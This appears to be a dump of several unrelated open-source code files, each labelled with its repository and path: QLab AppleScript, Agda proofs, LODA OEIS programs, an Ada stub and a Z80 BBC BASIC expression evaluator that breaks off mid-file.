"https://api.detectify.com/rest/v2/domains/" .. token .. "/subdomains/" end
Applescript/Water_Toggle.applescript
dustindmiller/QTableTop
1
4656
tell application id "com.figure53.QLab.4" to tell front workspace set contentName to "Water" set mapNameList to (q number of cues of cue (contentName & "s")) set activeMap to q name of cue (contentName & " Toggle") set newTarg to (choose from list mapNameList with title ("Toggle " & contentName) with prompt ("Select " & contentName & "...") default items activeMap OK button name {"Toggle"} cancel button name {"Cancel"}) as string if newTarg is "false" then return else if cue newTarg is running then set cue target of cue (contentName & " Fade Down") to cue newTarg set q name of cue (contentName & " Toggle") to "Deactivating " & newTarg set q color of cue (contentName & " Toggle") to "orange" start cue (contentName & " Fade Down") else set cue target of cue (contentName & " Fade Up") to cue newTarg set q name of cue (contentName & " Toggle") to "Activating " & newTarg set q color of cue (contentName & " Toggle") to "yellow" delay 0.1 start cue newTarg start cue (contentName & " Fade Up") end if end if if (cue activeMap exists) and (cue activeMap is running) then start cue (contentName & " Fade Down") end if delay 5 if cue newTarg is running then set q name of cue (contentName & " Toggle") to newTarg set q color of cue (contentName & " Toggle") to "green" set cue target of cue (contentName & " Fade Down") to cue newTarg else set q name of cue (contentName & " Toggle") to "No Active " & contentName set q color of cue (contentName & " Toggle") to "lilac" end if end tell
test/Succeed/RepeatedCase.agda
asr/eagda
1
3465
<reponame>asr/eagda<filename>test/Succeed/RepeatedCase.agda {-# OPTIONS -v treeless:20 #-} module _ where data N : Set where zero : N suc : N → N _+_ : N → N → N zero + n = n suc m + n = suc (m + n) record P A B : Set where constructor _,_ field fst : A snd : B open P {-# INLINE fst #-} {-# INLINE snd #-} -- Without handling repeated cases: -- g = λ a → case a of b , c → b (case a of d , e → e) -- Should be -- g = λ a → case a of b , c → b c g : P (N → N) N → N g z = fst z (snd z)
programs/oeis/316/A316319.asm
karttu/loda
0
15520
; A316319: Coordination sequence for a trivalent node in a chamfered version of the 3^6 triangular tiling of the plane. ; 1,3,7,14,25,38,51,63,75,87,99,111,123,135,147,159,171,183,195,207,219,231,243,255,267,279,291,303,315,327,339,351,363,375,387,399,411,423,435,447,459,471,483,495,507,519,531,543,555,567,579,591,603,615,627,639,651,663,675,687,699,711,723,735,747,759,771,783,795,807,819,831,843,855,867,879,891,903,915,927,939,951,963,975,987,999,1011,1023,1035,1047,1059,1071,1083,1095,1107,1119,1131,1143,1155,1167,1179,1191,1203,1215,1227,1239,1251,1263,1275,1287,1299,1311,1323,1335,1347,1359,1371,1383,1395,1407,1419,1431,1443,1455,1467,1479,1491,1503,1515,1527,1539,1551,1563,1575,1587,1599,1611,1623,1635,1647,1659,1671,1683,1695,1707,1719,1731,1743,1755,1767,1779,1791,1803,1815,1827,1839,1851,1863,1875,1887,1899,1911,1923,1935,1947,1959,1971,1983,1995,2007,2019,2031,2043,2055,2067,2079,2091,2103,2115,2127,2139,2151,2163,2175,2187,2199,2211,2223,2235,2247,2259,2271,2283,2295,2307,2319,2331,2343,2355,2367,2379,2391,2403,2415,2427,2439,2451,2463,2475,2487,2499,2511,2523,2535,2547,2559,2571,2583,2595,2607,2619,2631,2643,2655,2667,2679,2691,2703,2715,2727,2739,2751,2763,2775,2787,2799,2811,2823,2835,2847,2859,2871,2883,2895,2907,2919,2931,2943,2955,2967 mov $7,$0 mov $9,$0 add $9,1 lpb $9,1 clr $0,7 mov $0,$7 sub $9,1 sub $0,$9 mov $1,$0 mul $1,2 sub $0,$1 bin $0,2 lpb $0,1 mov $1,0 mov $2,1 add $6,22 trn $0,$6 pow $1,$0 sub $1,1 sub $2,$1 mov $1,9 sub $1,$2 mov $0,$1 add $0,4 lpe mov $1,$0 add $1,1 add $8,$1 lpe mov $1,$8
src/Sigma.agda
vituscze/HoTT-lectures
0
16690
{-# OPTIONS --without-K #-} module Sigma {a b} {A : Set a} {B : A → Set b} where open import Equivalence open import Types -- Projections for the positive sigma. π₁′ : (p : Σ′ A B) → A π₁′ p = split (λ _ → A) (λ a _ → a) p π₂′ : (p : Σ′ A B) → B (π₁′ p) π₂′ p = split (λ p → B (π₁′ p)) (λ _ b → b) p -- Induction principle for the negative sigma. split′ : ∀ {p} (P : Σ A B → Set p) (f : (a : A) (b : B a) → P (a , b)) → ∀ z → P z split′ P f p = f (π₁ p) (π₂ p) Σ→Σ′ : Σ A B → Σ′ A B Σ→Σ′ p = π₁ p , π₂ p Σ′→Σ : Σ′ A B → Σ A B Σ′→Σ = split _ _,_ Σ≃Σ′ : Σ A B ≃ Σ′ A B Σ≃Σ′ = Σ→Σ′ , (Σ′→Σ , split (λ p → Σ→Σ′ (Σ′→Σ p) ≡ p) (λ _ _ → refl)) , (Σ′→Σ , λ _ → refl)
src/cups.ads
persan/a-cups
0
3268
<reponame>persan/a-cups package CUPS is type Job_Id is new Natural; Cups_Error : exception; end CUPS;
boot/k.asm
DriesCode/bootloaders
6
7231
<reponame>DriesCode/bootloaders bits 32 ;org 0x7fff [extern kmain] global _start _start: ; Jump to kernel call kmain hlt
oeis/021/A021617.asm
neoneye/loda-programs
11
2080
<reponame>neoneye/loda-programs ; A021617: Decimal expansion of 1/613. ; Submitted by Jon Maiga ; 0,0,1,6,3,1,3,2,1,3,7,0,3,0,9,9,5,1,0,6,0,3,5,8,8,9,0,7,0,1,4,6,8,1,8,9,2,3,3,2,7,8,9,5,5,9,5,4,3,2,3,0,0,1,6,3,1,3,2,1,3,7,0,3,0,9,9,5,1,0,6,0,3,5,8,8,9,0,7,0,1,4,6,8,1,8,9,2,3,3,2,7,8,9,5,5,9,5,4 add $0,1 mov $1,10 pow $1,$0 div $1,613 mov $0,$1 mod $0,10
Thesis/DeriveCorrect.agda
inc-lc/ilc-agda
10
6947
module Thesis.DeriveCorrect where open import Thesis.Lang open import Thesis.Changes open import Thesis.LangChanges open import Thesis.Derive open import Relation.Binary.PropositionalEquality open import Theorem.Groups-Nehemiah fromtoDeriveConst : ∀ {τ : Type} (c : Const τ) → ch ⟦ c ⟧ΔConst from ⟦ c ⟧Const to ⟦ c ⟧Const fromtoDeriveConst unit = tt fromtoDeriveConst (lit n) = right-id-int n fromtoDeriveConst plus da a1 a2 daa db b1 b2 dbb rewrite sym daa | sym dbb = sym (mn·pq=mp·nq {a1} {da} {b1} {db}) fromtoDeriveConst minus da a1 a2 daa db b1 b2 dbb rewrite sym daa | sym dbb | sym (-m·-n=-mn {b1} {db}) = sym (mn·pq=mp·nq {a1} {da} { - b1} { - db}) fromtoDeriveConst cons da a1 a2 daa db b1 b2 dbb = daa , dbb fromtoDeriveConst fst (da , db) (a1 , b1) (a2 , b2) (daa , dbb) = daa fromtoDeriveConst snd (da , db) (a1 , b1) (a2 , b2) (daa , dbb) = dbb fromtoDeriveConst linj da a1 a2 daa = sft₁ daa fromtoDeriveConst rinj db b1 b2 dbb = sft₂ dbb fromtoDeriveConst match .(inj₁ (inj₁ _)) .(inj₁ _) .(inj₁ _) (sft₁ daa) df f1 f2 dff dg g1 g2 dgg = dff _ _ _ daa fromtoDeriveConst match .(inj₁ (inj₂ _)) .(inj₂ _) .(inj₂ _) (sft₂ dbb) df f1 f2 dff dg g1 g2 dgg = dgg _ _ _ dbb fromtoDeriveConst match .(inj₂ (inj₂ b2)) .(inj₁ a1) .(inj₂ b2) (sftrp (inj₁ a1) (inj₂ b2)) df f1 f2 dff dg g1 g2 dgg rewrite changeMatchSem-lem1 f1 df g1 dg a1 b2 | sym (fromto→⊕ dg g1 g2 dgg) = ⊝-fromto (f1 a1) ((g1 ⊕ dg) b2) fromtoDeriveConst match .(inj₂ (inj₁ a2)) .(inj₂ b1) .(inj₁ a2) (sftrp (inj₂ b1) (inj₁ a2)) df f1 f2 dff dg g1 g2 dgg rewrite changeMatchSem-lem2 f1 df g1 dg b1 a2 | sym (fromto→⊕ df f1 f2 dff) = ⊝-fromto (g1 b1) ((f1 ⊕ df) a2) fromtoDeriveConst match .(inj₂ (inj₁ a2)) .(inj₁ a1) .(inj₁ a2) (sftrp (inj₁ a1) (inj₁ a2)) df f1 f2 dff dg g1 g2 dgg rewrite changeMatchSem-lem3 f1 df g1 dg a1 a2 | sym (fromto→⊕ df f1 f2 dff) = ⊝-fromto (f1 a1) ((f1 ⊕ df) a2) fromtoDeriveConst match .(inj₂ (inj₂ b2)) .(inj₂ b1) .(inj₂ b2) (sftrp (inj₂ b1) (inj₂ b2)) df f1 f2 dff dg g1 g2 dgg rewrite changeMatchSem-lem4 f1 df g1 dg b1 b2 | sym (fromto→⊕ dg g1 g2 dgg) = ⊝-fromto (g1 b1) ((g1 ⊕ dg) b2) fromtoDeriveVar : ∀ {Γ τ} → (x : Var Γ τ) → ∀ {dρ ρ1 ρ2} → [ Γ ]Γ dρ from ρ1 to ρ2 → [ τ ]τ (⟦ x ⟧ΔVar ρ1 dρ) from (⟦ x ⟧Var ρ1) to (⟦ x ⟧Var ρ2) fromtoDeriveVar this (dvv v• dρρ) = dvv fromtoDeriveVar (that x) (dvv v• dρρ) = fromtoDeriveVar x dρρ fromtoDeriveBase : ∀ {Γ} τ → (t : Term Γ τ) → ch ⟦ t ⟧ΔTerm from ⟦ t ⟧Term to ⟦ t ⟧Term fromtoDeriveBase τ (const c) dρ ρ1 ρ2 dρρ rewrite ⟦ c ⟧ΔConst-rewrite ρ1 dρ = fromtoDeriveConst c fromtoDeriveBase τ (var x) dρ ρ1 ρ2 dρρ = fromtoDeriveVar x dρρ fromtoDeriveBase τ (app {σ} s t) dρ ρ1 ρ2 dρρ rewrite sym (fit-sound t dρρ) = let fromToF = fromtoDeriveBase (σ ⇒ τ) s _ _ _ dρρ in let fromToB = fromtoDeriveBase σ t _ _ _ dρρ in fromToF _ _ _ fromToB fromtoDeriveBase (σ ⇒ τ) (abs t) dρ ρ1 ρ2 dρρ = λ dv v1 v2 dvv → fromtoDeriveBase τ t _ _ _ (dvv v• dρρ) fromtoDerive : ∀ {Γ} τ → (t : Term Γ τ) → {dρ : ChΓ Γ} {ρ1 ρ2 : ⟦ Γ ⟧Context} → [ Γ ]Γ dρ from ρ1 to ρ2 → [ τ ]τ (⟦ t ⟧ΔTerm ρ1 dρ) from (⟦ t ⟧Term ρ1) to (⟦ t ⟧Term ρ2) fromtoDerive τ t dρρ = fromtoDeriveBase τ t _ _ _ dρρ -- Getting to the original equation 1 from PLDI'14. correctDeriveOplus : ∀ {Γ} τ → (t : Term Γ τ) → {dρ : ChΓ Γ} {ρ1 ρ2 : ⟦ Γ ⟧Context} → [ Γ ]Γ dρ from ρ1 to ρ2 → (⟦ t ⟧Term ρ1) ⊕ (⟦ t ⟧ΔTerm ρ1 dρ) ≡ (⟦ t ⟧Term ρ2) correctDeriveOplus τ t dρρ = fromto→⊕ _ _ _ (fromtoDerive τ t dρρ) open import Thesis.LangOps correctDeriveOplusτ : ∀ {Γ} τ → (t : Term Γ τ) {dρ : ChΓ Γ} {ρ1 ρ2 : ⟦ Γ ⟧Context} → [ Γ ]Γ dρ from ρ1 to ρ2 → (⟦ app₂ (oplusτo τ) (fit t) (derive t) ⟧Term dρ) ≡ (⟦ t ⟧Term ρ2) correctDeriveOplusτ τ t {dρ = dρ} {ρ1 = ρ1} dρρ rewrite oplusτ-equiv _ dρ _ (⟦ fit t ⟧Term dρ) (⟦ derive t ⟧Term dρ) | sym (fit-sound t dρρ) = correctDeriveOplus τ t dρρ deriveGivesDerivative : ∀ {Γ} σ τ → (f : Term Γ (σ ⇒ τ)) (a : Term Γ σ)→ {dρ : ChΓ Γ} {ρ1 ρ2 : ⟦ Γ ⟧Context} → [ Γ ]Γ dρ from ρ1 to ρ2 → (⟦ app f a ⟧Term ρ1) ⊕ (⟦ app f a ⟧ΔTerm ρ1 dρ) ≡ (⟦ app f a ⟧Term ρ2) deriveGivesDerivative σ τ f a dρρ = correctDeriveOplus τ (app f a) dρρ deriveGivesDerivative₂ : ∀ {Γ} σ τ → (f : Term Γ (σ ⇒ τ)) (a : Term Γ σ) → {dρ : ChΓ Γ} {ρ1 ρ2 : ⟦ Γ ⟧Context} → [ Γ ]Γ dρ from ρ1 to ρ2 → (⟦ app₂ (oplusτo τ) (fit (app f a)) (app₂ (derive f) (fit a) (derive a)) ⟧Term dρ) ≡ (⟦ app f a ⟧Term ρ2) deriveGivesDerivative₂ σ τ f a dρρ = correctDeriveOplusτ τ (app f a) dρρ -- Proof of the original equation 1 from PLDI'14. The original was restricted to -- closed terms. This is a generalization, because it holds also for open terms, -- *as long as* the environment change is a nil change. eq1 : ∀ {Γ} σ τ → {nilρ : ChΓ Γ} {ρ : ⟦ Γ ⟧Context} → [ Γ ]Γ nilρ from ρ to ρ → ∀ (f : Term Γ (σ ⇒ τ)) (a : Term Γ σ) (da : Term (ΔΓ Γ) (Δt σ)) → (daa : [ σ ]τ (⟦ da ⟧Term nilρ) from (⟦ a ⟧Term ρ) to (⟦ a ⟧Term ρ ⊕ ⟦ da ⟧Term nilρ)) → ⟦ app₂ (oplusτo τ) (fit (app f a)) (app₂ (derive f) (fit a) da) ⟧Term nilρ ≡ ⟦ app (fit f) (app₂ (oplusτo σ) (fit a) da) ⟧Term nilρ eq1 σ τ {nilρ} {ρ} dρρ f a da daa rewrite oplusτ-equiv _ nilρ _ (⟦ fit (app f a) ⟧Term nilρ) (⟦ (app₂ (derive f) (fit a) da) ⟧Term nilρ) | sym (fit-sound f dρρ) | oplusτ-equiv _ nilρ _ (⟦ fit a ⟧Term nilρ) (⟦ da ⟧Term nilρ) | sym (fit-sound a dρρ) = fromto→⊕ (⟦ f ⟧ΔTerm ρ nilρ (⟦ a ⟧Term ρ) (⟦ da ⟧Term nilρ)) _ _ (fromtoDerive _ f dρρ (⟦ da ⟧Term nilρ) (⟦ a ⟧Term ρ) (⟦ a ⟧Term ρ ⊕ ⟦ da ⟧Term nilρ) daa)
eval.asm
vipoo/bbcbasic-z80
2
25855
<filename>eval.asm ; TITLE BBC BASIC (C) R.T.RUSSELL 1987 ; ;BBC BASIC INTERPRETER - Z80 VERSION ;EXPRESSION EVALUATION & ARITHMETIC MODULE - "EVAL" ;(C) COPYRIGHT R.T.RUSSELL 1984 ;VERSION 2.3, 07-05-1984 ;Modified to use external FPP, 01-03-1987 ;VERSION 3.0, 08-03-1987 ;INSTR bug fixed, 30-09-1992 ; ;BINARY FLOATING POINT REPRESENTATION: ; 32 BIT SIGN-MAGNITUDE NORMALIZED MANTISSA ; 8 BIT EXCESS-128 SIGNED EXPONENT ; SIGN BIT REPLACES MANTISSA MSB (IMPLIED "1") ; MANTISSA=0 & EXPONENT=0 IMPLIES VALUE IS ZERO. ; ;BINARY INTEGER REPRESENTATION: ; 32 BIT 2'S-COMPLEMENT SIGNED INTEGER ; "EXPONENT" BYTE = 0 (WHEN PRESENT) ; ;NORMAL REGISTER ALLOCATION: MANTISSA - HLH'L' ; EXPONENT - C ; include "constants.inc" #include "tracing.inc" PUBLIC EXPR PUBLIC EXPRN PUBLIC EXPRI PUBLIC EXPRS PUBLIC ITEMI PUBLIC CONS PUBLIC LOADS PUBLIC VAL0 PUBLIC SFIX PUBLIC STR PUBLIC HEXSTR PUBLIC LOAD4 PUBLIC LOADN PUBLIC DLOAD5 PUBLIC NXT PUBLIC SWAP PUBLIC TEST PUBLIC ZERO PUBLIC COMMA PUBLIC BRAKET PUBLIC DECODE PUBLIC PUSHS PUBLIC POPS PUBLIC SEARCH ; EXTERN ERROR EXTERN SYNTAX EXTERN CHANEL EXTERN STORE4 EXTERN STORE5 EXTERN CHECK EXTERN USR EXTERN FN ; EXTERN GETVAR EXTERN LEXAN2 EXTERN RANGE ; EXTERN STAVAR EXTERN PAGE EXTERN TOP EXTERN LOMEM EXTERN HIMEM EXTERN RANDOM EXTERN COUNT EXTERN LISTON EXTERN PC EXTERN ERL EXTERN ERR EXTERN ACCS ; EXTERN OSRDCH EXTERN OSOPEN EXTERN OSBGET EXTERN OSSTAT EXTERN GETCSR EXTERN GETIME EXTERN GETIMS EXTERN GETEXT EXTERN GETPTR EXTERN OSKEY ; EXTERN POINT EXTERN ADVAL ; EXTERN FPP EXTERN TKN_FIRSTCMD, TKR_AND, TKR_DIV, TKR_EOR, TKR_MOD, TKR_OR, TK_EXTENDED, TKX_EVAL_FIRST ; ;TABLE OF ADDRESSES FOR FUNCTIONS: ; #define TKE_VECTOR() ! PUBLIC TKE_#2 ! TKE_#2: EQU #1 ! DEFW #2 #define TKE_VECTOR_DIS() ! PUBLIC TKE_#2 ! TKE_#2: EQU #1 ! DEFW #2 FUNTBL: TKE_FIRST EQU TKE_DECODE TKE_VECTOR($8D,DECODE) TKE_VECTOR($8E,OPENIN) TKE_VECTOR($8F,PTR) TKE_VECTOR($90,PAGEV) TKE_VECTOR($91,TIMEV) TKE_VECTOR($92,LOMEMV) TKE_VECTOR($93,HIMEMV) TKE_VECTOR($94,ABS) TKE_VECTOR($95,ACS) TKE_VECTOR($96,ADVAL) TKE_VECTOR($97,ASC) TKE_VECTOR($98,ASN) TKE_VECTOR($99,ATN) TKE_VECTOR($9A,BGET) TKE_VECTOR($9B,COS) TKE_VECTOR($9C,COUNTV) TKE_VECTOR($9D,DEG) TKE_VECTOR($9E,ERLV) TKE_VECTOR($9F,ERRV) TKE_VECTOR($A0,EVAL) TKE_VECTOR($A1,EXP) TKE_VECTOR($A2,EXT) TKE_VECTOR($A3,ZERO) TKE_VECTOR($A4,FN) TKE_VECTOR($A5,GET) TKE_VECTOR($A6,INKEY) TKE_VECTOR($A7,INSTR) TKE_VECTOR($A8,INT) TKE_VECTOR($A9,LEN) TKE_VECTOR($AA,LN) TKE_VECTOR($AB,LOG) TKE_VECTOR($AC,NOT) TKE_VECTOR($AD,OPENUP) TKE_VECTOR($AE,OPENOT) TKE_VECTOR($AF,PI) TKE_VECTOR($B0,POINT) TKE_VECTOR($B1,POS) TKE_VECTOR($B2,RAD) TKE_VECTOR($B3,RND) TKE_VECTOR($B4,SGN) TKE_VECTOR($B5,SIN) TKE_VECTOR($B6,SQR) TKE_VECTOR($B7,TAN) TKE_VECTOR($B8,TOPV) TKE_VECTOR($B9,TRUE) TKE_VECTOR($BA,USR) TKE_VECTOR($BB,VAL) TKE_VECTOR($BC,VPOS) TKE_VECTOR($BD,CHRS) TKE_VECTOR($BE,GETS) TKE_VECTOR($BF,INKEYS) TKE_VECTOR($C0,LEFTS) TKE_VECTOR($C1,MIDS) TKE_VECTOR($C2,RIGHTS) TKE_VECTOR($C3,STRS) TKE_VECTOR($C4,STRING) TKE_VECTOR($C5,EOF) ; Extended Tokens TKE_VECTOR('a',INPORT) TKE_EXTOFFSET EQU TKE_EOF+1 ; THE NUMBER OF NORMAL EVAL TOKEN VECTORS TKE_FIRSTCODE EQU 'a' ; THE EXTENDED TOKEN FIRST VALUE ; SOPTBL: DEFW SLE ;<= (STRING) DEFW SNE ;<> DEFW SGE ;>= DEFW SLT ;< DEFW SEQ ;= DEFW SGT ;> INPORT: CALL EXPRI EXX LD B, H LD C, L IN L, (C) LD H, 0 PUSH HL CALL BRAKET POP HL EXX XOR A LD C,A ;INTEGER MARKER LD H,A LD L,A RET ; ;EXPR - VARIABLE-TYPE EXPRESSION EVALUATION ; Expression type is returned in A'F': ; Numeric - A' bit 7=0, F' sign bit cleared. ; String - A' bit 7=1, F' sign bit set. ;Floating-point or integer result returned in HLH'L'C ; Integer result denoted by C=0 and HLH'L' non-zero. ;String result returned in string accumulator, DE set. ; ;Hierarchy is: (1) Variables, functions, ; constants, bracketed expressions. ; (2) ^ ; (3) * / MOD DIV ; (4) + - ; (5) = <> <= >= > < ; (6) AND ; (7) EOR OR ; EXPR: CALL EXPR1 ;GET FIRST OPERAND EXPR0A: CP TKR_EOR ;CHECK OPERATOR JR Z,EXPR0B CP TKR_OR RET NZ EXPR0B: CALL SAVE ;SAVE FIRST OPERAND CALL EXPR1 ;GET SECOND OPERAND CALL DOIT ;DO OPERATION JR EXPR0A ;CONTINUE ; EXPR1: CALL EXPR2 EXPR1A: CP TKR_AND RET NZ CALL SAVE CALL EXPR2 CALL DOIT JR EXPR1A ; EXPR2: CALL EXPR3 CALL RELOPQ RET NZ LD B,A INC IY ;BUMP OVER OPERATOR CALL NXT CALL RELOPQ ;COMPOUND OPERATOR? JR NZ,EXPR2B INC IY CP B JP Z,SYNTAX ;ILLEGAL COMBINATION ADD A,B LD B,A EXPR2B: LD A,B EX AF,AF' JP M,EXPR2S EX AF,AF' SUB 4 CP '>'-4 JR NZ,EXPR2C ADD A,2 EXPR2C: CALL SAVE1 CALL EXPR3 CALL DOIT ;Must NOT be "JP DOIT" RET ; EXPR2S: EX AF,AF' DEC A AND 7 CALL PUSHS ;SAVE STRING ON STACK PUSH AF ;SAVE OPERATOR CALL EXPR3 ;SECOND STRING EX AF,AF' JP P,TYPE POP AF LD C,E ;LENGTH OF STRING #2 POP DE LD HL,0 ADD HL,SP LD B,E ;LENGTH OF STRING #1 PUSH DE LD DE,ACCS EX DE,HL CALL DISPT2 POP DE EX DE,HL LD H,0 ADD HL,SP LD SP,HL EX DE,HL XOR A ;NUMERIC MARKER LD C,A ;INTEGER MARKER EX AF,AF' LD A,(IY) RET ; EXPR3: CALL EXPR4 EXPR3A: CP '-' JR Z,EXPR3B CP '+' RET NZ EX AF,AF' JP M,EXPR3S EX AF,AF' EXPR3B: CALL SAVE CALL EXPR4 CALL DOIT JR EXPR3A ; EXPR3S: EX AF,AF' INC IY ;BUMP PAST '+' CALL PUSHS ;SAVE STRING ON STACK CALL EXPR4 ;SECOND STRING EX AF,AF' JP P,TYPE LD C,E ;C=LENGTH POP DE PUSH DE LD HL,ACCS LD D,H LD A,C OR A JR Z,EXP3S3 LD B,L LD L,A ;SOURCE ADD A,E LD E,A ;DESTINATION LD A,19 JP C,ERROR ;"String too long" PUSH DE DEC E DEC L LDDR ;COPY POP DE EXP3S3: EXX POP BC CALL POPS ;RESTORE FROM STACK EXX OR 80H ;FLAG STRING EX AF,AF' LD A,(IY) JR EXPR3A ; EXPR4: CALL EXPR5 EXPR4A: CP '*' JR Z,EXPR4B CP '/' JR Z,EXPR4B CP TKR_MOD JR Z,EXPR4B CP TKR_DIV RET NZ EXPR4B: CALL SAVE CALL EXPR5 CALL DOIT JR EXPR4A ; EXPR5: CALL ITEM OR A ;TEST TYPE EX AF,AF' ;SAVE TYPE EXPR5A: CALL NXT CP '^' RET NZ CALL SAVE CALL ITEM OR A EX AF,AF' CALL DOIT JR EXPR5A ; EXPRN: CALL EXPR EX AF,AF' RET P JR TYPE ; EXPRI: CALL EXPR EX AF,AF' JP P,SFIX JR TYPE ; EXPRS: CALL EXPR EX AF,AF' RET M JR TYPE ; ; ITEMN: CALL ITEM OR A RET P JR TYPE ; ITEMI: CALL ITEM OR A JP P,SFIX JR TYPE ; ITEMS: CALL ITEM OR A RET M TYPE: LD A,6 JP ERROR ;"Type mismatch" ; ITEM1: CALL EXPR ;BRACKETED EXPR CALL BRAKET EX AF,AF' RET ; ;HEX - Get hexadecimal constant. ; Inputs: ASCII string at (IY) ; Outputs: Integer result in H'L'HL, C=0, A7=0. ; IY updated (points to delimiter) ; HEX: CALL ZERO CALL HEXDIG JR C,BADHEX HEX1: INC IY AND 0FH LD B,4 HEX2: EXX ADD HL,HL EXX ADC HL,HL DJNZ HEX2 EXX OR L LD L,A EXX CALL HEXDIG JR NC,HEX1 XOR A RET ; BADHEX: LD A,28 JP ERROR ;"Bad HEX" ; ;MINUS - Unary minus. ; Inputs: IY = text pointer ; Outputs: Numeric result, same type as argument. ; Result in H'L'HLC ; MINUS: CALL ITEMN MINUS0: DEC C INC C JR Z,NEGATE ;ZERO/INTEGER LD A,H XOR 80H ;CHANGE SIGN (FP) LD H,A XOR A ;NUMERIC MARKER RET ; NEGATE: EXX LD A,H CPL LD H,A LD A,L CPL LD L,A EXX LD A,H CPL LD H,A LD A,L CPL LD L,A ADD1: EXX INC HL LD A,H OR L EXX LD A,0 ;NUMERIC MARKER RET NZ INC HL RET ; ;ITEM - VARIABLE TYPE NUMERIC OR STRING ITEM. ;Item type is returned in A: Bit 7=0 numeric. ; Bit 7=1 string. ;Numeric item returned in HLH'L'C. ;String item returned in string accumulator, ; DE addresses byte after last (E=length). ; ITEM: CALL CHECK CALL NXT INC IY CP '&' JR Z,HEX ;HEX CONSTANT CP '-' JR Z,MINUS ;UNARY MINUS CP '+' JR Z,ITEMN ;UNARY PLUS CP '(' JR Z,ITEM1 ;EXPRESSION CP DOUBLE_QUOTE JR Z,CONS ;STRING CONSTANT CP TK_EXTENDED JR NZ, ITEM2 LD A, (IY) INC IY SUB TKE_FIRSTCODE-TKE_EXTOFFSET JP DISPAT ITEM2: CP TKN_FIRSTCMD JP NC,SYNTAX ;SYNTAX ERROR CP TKE_FIRST JP NC,DISPAT ;FUNCTION DEC IY CP ':' JR NC,ITEM3 ;VARIABLE? CP '0' JR NC,CON ;NUMERIC CONSTANT CP '.' JR Z,CON ;NUMERIC CONSTANT ITEM3: CALL GETVAR ;VARIABLE JR NZ,NOSUCH OR A JP M,LOADS ;STRING VARIABLE LOADN: OR A JR Z,LOAD1 ;BYTE VARIABLE LD C,0 BIT 0,A JR Z,LOAD4 ;INTEGER VARIABLE LOAD5: LD C,(IX+4) LOAD4: EXX LD L,(IX+0) LD H,(IX+1) EXX LD L,(IX+2) LD H,(IX+3) RET ; LOAD1: LD HL,0 EXX LD H,0 LD L,(IX+0) EXX LD C,H RET ; NOSUCH: JP C,SYNTAX LD A,(LISTON) BIT 5,A LD A,26 JR NZ,ERROR0 ;"No such variable" NOS1: INC IY CALL RANGE JR NC,NOS1 LD IX,PC XOR A LD C,A JR LOAD4 ; ;CON$ - Get string constant from ASCII string. ; Inputs: ASCII string at (IY) ; Outputs: Result in string accumulator. ; D = MS byte of ACC$, E = string length ; A7 = 1 (string marker) ; IY updated ; CONS: LD DE,ACCS CONS3: LD A,(IY) INC IY CP DOUBLE_QUOTE JR Z,CONS2 CONS1: LD (DE),A INC E CP CR JR NZ,CONS3 LD A,9 ERROR0: JP ERROR ;"Missing """ ; CONS2: LD A,(IY) CP DOUBLE_QUOTE INC IY JR Z,CONS1 DEC IY LD A,80H ;STRING MARKER RET ; ;CON - Get unsigned numeric constant from ASCII string. ; Inputs: ASCII string at (IY). ; Outputs: Variable-type result in HLH'L'C ; IY updated (points to delimiter) ; A7 = 0 (numeric marker) ; CON: PUSH IY POP IX LD A,36 CALL FPP JR C,ERROR0 PUSH IX POP IY XOR A RET ; DLOAD5: LD B,(IX+4) EXX LD E,(IX+0) LD D,(IX+1) EXX LD E,(IX+2) LD D,(IX+3) RET ; LOADS: LD DE,ACCS RRA JR NC,LOADS2 ;FIXED STRING CALL LOAD4 EXX LD A,L EXX OR A LD C,A LD A,80H ;STRING MARKER RET Z LD B,0 LDIR RET LOADS2: LD A,(HL) LD (DE),A INC HL CP CR LD A,80H ;STRING MARKER RET Z INC E JR NZ,LOADS2 RET ;RETURN NULL STRING ; ;VARIABLE-TYPE FUNCTIONS: ; ;Result returned in HLH'L'C (floating point) ;Result returned in HLH'L' (C=0) (integer) ;Result returned in string accumulator & DE (string) ;All registers destroyed. ;IY (text pointer) updated. ;Bit 7 of A indicates type: 0 = numeric, 1 = string. ; ; ;POS - horizontal cursor position. ;VPOS - vertical cursor position. ;EOF - return status of file. ;BGET - read byte from file. ;INKEY - as GET but wait only n centiseconds. ;GET - wait for keypress and return ASCII value. ;GET(n) - input from Z80 port n. ;ASC - ASCII value of string. ;LEN - length of string. ;LOMEM - location of dynamic variables. ;HIMEM - top of available RAM. ;PAGE - start of current text page. ;TOP - address of first free byte after program. ;ERL - line number where last error occurred. ;ERR - number of last error. ;COUNT - number of printing characters since CR. ;Results are integer numeric. ; POS: CALL GETCSR EX DE,HL JR COUNT1 VPOS: CALL GETCSR JR COUNT1 EOF: CALL CHANEL CALL OSSTAT JP Z,TRUE JP ZERO BGET: CALL CHANEL ;CHANNEL NUMBER CALL OSBGET LD L,A JR COUNT0 INKEY: CALL INKEYS JR ASC0 GET: CALL NXT CP '(' JR NZ,GET0 CALL ITEMI ;PORT ADDRESS EXX LD B,H LD C,L IN L,(C) ;INPUT FROM PORT BC JR COUNT0 GET0: CALL GETS JR ASC1 ASC: CALL ITEMS ASC0: XOR A CP E JP Z,TRUE ;NULL STRING ASC1: LD HL,(ACCS) JR COUNT0 LEN: CALL ITEMS EX DE,HL JR COUNT0 LOMEMV: LD HL,(LOMEM) JR COUNT1 HIMEMV: LD HL,(HIMEM) JR COUNT1 PAGEV: LD HL,(PAGE) JR COUNT1 TOPV: LD A,(IY) INC IY ;SKIP "P" CP 'P' JP NZ,SYNTAX ;"Syntax Error" LD HL,(TOP) JR COUNT1 ERLV: LD HL,(ERL) JR COUNT1 ERRV: LD HL,(ERR) JR COUNT0 COUNTV: LD HL,(COUNT) COUNT0: LD H,0 COUNT1: EXX XOR A LD C,A ;INTEGER MARKER LD H,A LD L,A RET ; ;OPENIN - Open a file for reading. ;OPENOUT - Open a file for writing. ;OPENUP - Open a file for reading or writing. ;Result is integer channel number (0 if error) ; OPENOT: XOR A DEFB 21H ;SKIP NEXT 2 BYTES OPENUP: LD A,2 DEFB 21H ;SKIP NEXT 2 BYTES OPENIN: LD A,1 PUSH AF ;SAVE OPEN TYPE CALL ITEMS ;FILENAME LD A,CR LD (DE),A POP AF ;RESTORE OPEN TYPE ADD A,-1 ;AFFECT FLAGS LD HL,ACCS CALL OSOPEN LD L,A JR COUNT0 ; ;EXT - Return length of file. ;PTR - Return current file pointer. ;Results are integer numeric. ; EXT: CALL CHANEL CALL GETEXT JR TIME0 ; PTR: CALL CHANEL CALL GETPTR JR TIME0 ; ;TIME - Return current value of elapsed time. ;Result is integer numeric. ; TIMEV: LD A,(IY) CP '$' JR Z,TIMEVS CALL GETIME TIME0: PUSH 